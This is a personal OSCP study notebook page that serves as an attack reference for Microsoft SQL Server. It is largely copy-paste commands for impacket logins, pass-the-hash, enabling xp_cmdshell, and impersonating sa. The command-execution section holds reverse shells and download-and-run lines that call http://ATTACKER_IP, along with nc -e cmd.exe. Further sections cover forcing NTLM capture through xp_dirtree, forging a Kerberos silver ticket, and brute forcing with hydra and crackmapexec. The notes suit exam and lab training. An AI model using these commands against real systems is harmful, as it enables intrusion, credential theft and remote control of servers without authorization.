Pearson's OSCP Notebook

MSSQL

Properties1
tagsmssql, sql-server, database, 1433, xp-cmdshell, impacket, enumeration, rce

6 min read

MSSQL — Complete Reference

Ctrl+F: -windows-auth · sa · domain/user · xp_cmdshell · 1433

External: Internal All The Things — MSSQL Enumeration

📌 START HERE — -windows-auth (exam-critical)

Auth typeExample-windows-auth?
SQL login (sa)impacket-mssqlclient sa:password@TARGETNo
Domain / AD userimpacket-mssqlclient DOMAIN/user:pass@TARGET -windows-authYes
Pass-the-Hashimpacket-mssqlclient user@TARGET -hashes ':NTHASH' -windows-authYes
Kerberos ticketimpacket-mssqlclient -k -no-pass domain/user@HOST -dc-ip DC_IPUse -k
# Exam — domain service account (always -windows-auth)
impacket-mssqlclient oscp.exam/sql_svc:Dolphin1@10.10.176.148 -windows-auth
 
# Kerberoasted svc account → MSSQL on 1433
impacket-mssqlclient corp.local/svc_sql:CrackedPassword@10.10.10.10 -windows-auth

→ Impacket detail: mssqlclient

What is MSSQL?

Microsoft SQL Server is the standard relational database on Windows environments and Active Directory labs. Runs on port 1433/TCP. The sa (system administrator) account is the primary target.

OSCP use: sa with blank/weak password is common. xp_cmdshell gives direct OS command execution if you’re sysadmin.

Install (Kali)

Client via Impacket (no separate MSSQL package needed):

sudo apt update && sudo apt install -y python3-impacket

Verify: impacket-mssqlclient -h

Full install index → Installation - Kali Setup

Port

PortService
1433/TCPMicrosoft SQL Server

📌 1) Connection Tools & Flags

impacket-mssqlclient (primary OSCP tool)

impacket-mssqlclient [domain/]user:password@TARGET [options]
FlagDescription
-windows-authRequired for domain/Windows auth (NTLM). Omit for sa / SQL logins
-port PORTCustom port (default: 1433)
-file FILENAMEInput file of commands (non-interactive)
-debugDebug output
-hashes LMHASH:NTHASHPass-the-Hash
# SQL authentication — NO -windows-auth
impacket-mssqlclient sa:password@10.10.10.10
impacket-mssqlclient sa@10.10.10.10          # prompt for password
 
# Windows / domain authentication — ALWAYS -windows-auth
impacket-mssqlclient DOMAIN/user:password@10.10.10.10 -windows-auth
impacket-mssqlclient oscp.exam/sql_svc:Dolphin1@10.10.176.148 -windows-auth
 
# Pass-the-Hash — ALWAYS -windows-auth
impacket-mssqlclient DOMAIN/user@10.10.10.10 -hashes :NTHASH -windows-auth
impacket-mssqlclient sql_svc@10.10.10.10 -hashes :NTHASH -windows-auth
 
# Custom port
impacket-mssqlclient sa:password@10.10.10.10 -port 1434

sqsh (alternative interactive client)

sqsh -S 10.10.10.10 -U sa -P 'password'
sqsh -S 10.10.10.10 -U sa -P ''              # blank password

mssql-cli (modern CLI — install via pip)

mssql-cli -S 10.10.10.10 -U sa -P password
mssql-cli -S 10.10.10.10 -U sa -P password -d master

📌 2) Nmap Enumeration

nmap -p 1433 -sV 10.10.10.10
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-config,ms-sql-tables 10.10.10.10
nmap -p 1433 --script ms-sql-brute --script-args userdb=users.txt,passdb=passwords.txt 10.10.10.10

📌 3) Interactive Enumeration (T-SQL)

-- ─── INFO ─────────────────────────────────────────────────────
SELECT @@version;
SELECT @@SERVERNAME;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');   -- 1 = you are sysadmin
SELECT name FROM sys.databases;
 
-- ─── ENUMERATE ────────────────────────────────────────────────
USE master;
SELECT name FROM sys.databases;
USE dbname;
SELECT table_name FROM information_schema.tables;
SELECT column_name FROM information_schema.columns WHERE table_name='users';
SELECT * FROM users;
 
-- ─── USERS & ROLES ────────────────────────────────────────────
SELECT name, type_desc FROM sys.server_principals;
SELECT * FROM sys.sql_logins;
EXEC sp_helplogins;
 
-- ─── LINKED SERVERS (pivot to other SQL servers) ──────────────
SELECT * FROM sysservers;
EXEC sp_linkedservers;

📌 4) xp_cmdshell — OS Command Execution

Requires sysadmin role. May need to enable first:

-- Check if enabled
EXEC sp_configure 'xp_cmdshell';
 
-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
 
-- Execute commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'ipconfig';
EXEC xp_cmdshell 'net user';
EXEC xp_cmdshell 'dir C:\';
EXEC xp_cmdshell 'type C:\Users\user\Desktop\flag.txt';
 
-- PowerShell reverse shell
EXEC xp_cmdshell 'powershell -c "iex(iwr http://ATTACKER_IP/shell.ps1 -UseBasicParsing)"';
 
-- Download and execute
EXEC xp_cmdshell 'certutil -urlcache -split -f http://ATTACKER_IP/nc.exe C:\Temp\nc.exe';
EXEC xp_cmdshell 'C:\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444';

One-liner via impacket (non-interactive):

# Domain user — -windows-auth required
impacket-mssqlclient DOMAIN/user:password@10.10.10.10 -windows-auth -file commands.sql
 
# SQL login (sa) — no -windows-auth
impacket-mssqlclient sa:password@10.10.10.10 -file commands.sql

📌 5) Other Useful Techniques

xp_dirtree — NTLM hash capture

-- Forces SQL Server to authenticate to attacker SMB share → capture hash with Responder
EXEC master..xp_dirtree '\\ATTACKER_IP\share', 1, 1;

Linked server query (lateral movement)

SELECT * FROM [LINKED_SERVER].master.dbo.sysdatabases;
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER];

Enable Ole Automation (alternative RCE path)

EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
-- Then use sp_OACreate for command execution

EXECUTE AS — impersonation (privesc / lateral)

IMPERSONATE lets a login/user run as another identity until REVERT. Check who you can impersonate, then switch context.

Raw T-SQL:

-- Who can I impersonate?
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
SELECT * FROM sys.database_permissions WHERE permission_name = 'IMPERSONATE';
 
-- Impersonate server login (e.g. sa)
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
EXEC xp_cmdshell 'whoami';
REVERT;
 
-- Impersonate database user (e.g. dbo)
USE master;
EXECUTE AS USER = 'dbo';
SELECT USER_NAME();
REVERT;

impacket-mssqlclient shell helpers (type inside the SQL prompt):

enum_impersonate           -- list impersonation targets
exec_as_login sa           -- EXECUTE AS LOGIN = 'sa'
exec_as_user dbo           -- EXECUTE AS USER = 'dbo'
REVERT                     -- back to original context

Typical chain: low-priv SQL user → enum_impersonate → exec_as_login sa → enable_xp_cmdshell → xp_cmdshell whoami.

→ Shell command reference: mssqlclient

SUSER_SID() — domain SID from SQL (Signed-style)

When you have SQL access but no lookupsid from Kali — get SID hex from MSSQL:

SELECT SUSER_SID('SIGNED\Administrator');
-- b'0105000000000005150000005b7bb0f398aa2245ad4a1ca4f4010000'

Convert → hex_to_sid / python3 hex_to_sid.py <hex> → user SID. Domain SID = drop last RID (-500 for Administrator).

Silver ticket → MSSQL as Administrator (Signed chain)

# 1) NT hash of service account (if you have plaintext password)
pypykatz crypto nt 'purPLE9795!@'
# ef699384c3285c54128a3ee1ddb1a0cc
 
# 2) Forge silver ticket — target username is LAST positional arg
impacket-ticketer \
  -spn MSSQLSVC/dc01.signed.htb \
  -domain signed.htb \
  -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
  -nthash ef699384c3285c54128a3ee1ddb1a0cc \
  Administrator
 
# 3) Connect with ticket
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -k -no-pass signed.htb/Administrator@dc01.signed.htb -dc-ip DC_IP
# or IP as target:
impacket-mssqlclient -k -no-pass signed.htb/Administrator@DC_IP -dc-ip DC_IP

→ Kerberos Scripts > ticketer · Use Kerberos Ticket · pypykatz > crypto nt

📌 6) Brute Force & Credential Testing

# CrackMapExec / NetExec
crackmapexec mssql 10.10.10.10 -u sa -p password --local-auth   # SQL auth (sa)
crackmapexec mssql 10.10.10.10 -u sa -p password
crackmapexec mssql 10.10.10.10 -d corp.local -u svc_sql -p 'CrackedPassword'  # domain — no --local-auth
crackmapexec mssql 10.10.10.0/24 -u sa -p 'Password123' --local-auth
 
# Hydra
hydra -l sa -P /usr/share/wordlists/rockyou.txt 10.10.10.10 mssql
hydra -L users.txt -P passwords.txt 10.10.10.10 mssql
 
# Medusa
medusa -h 10.10.10.10 -U users.txt -P passwords.txt -M mssql

📌 Quick Cheat Sheet (Copy/Paste)

# ─── CONNECT ──────────────────────────────────────────────────
impacket-mssqlclient sa:password@TARGET                              # SQL auth
impacket-mssqlclient oscp.exam/sql_svc:Dolphin1@TARGET -windows-auth
impacket-mssqlclient DOMAIN/user:password@TARGET -windows-auth
impacket-mssqlclient user@TARGET -hashes ':NTHASH' -windows-auth
 
# ─── ENUMERATE ────────────────────────────────────────────────
SELECT @@version;
SELECT name FROM sys.databases;
USE dbname; SELECT * FROM users;
SELECT IS_SRVROLEMEMBER('sysadmin');
 
# ─── ENABLE + RUN xp_cmdshell ─────────────────────────────────
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
 
# ─── FILE TRANSFER (inside mssqlclient prompt) ────────────────
upload /home/kali/tools/PrintSpoofer64.exe C:\\Users\\Public\\PrintSpoofer64.exe
download C:\\Users\\Administrator\\Desktop\\proof.txt /tmp/proof.txt
# Behind pivot → Ligolo-ng listener + HTTP
 
# ─── NTLM CAPTURE ─────────────────────────────────────────────
EXEC master..xp_dirtree '\\ATTACKER_IP\share',1,1;
 
# ─── IMPERSONATE ──────────────────────────────────────────────
enum_impersonate
exec_as_login sa
exec_as_user dbo
REVERT
 
# ─── BRUTE FORCE ──────────────────────────────────────────────
hydra -l sa -P /usr/share/wordlists/rockyou.txt TARGET mssql
crackmapexec mssql TARGET -u sa -p passwords.txt

Graph View

Backlinks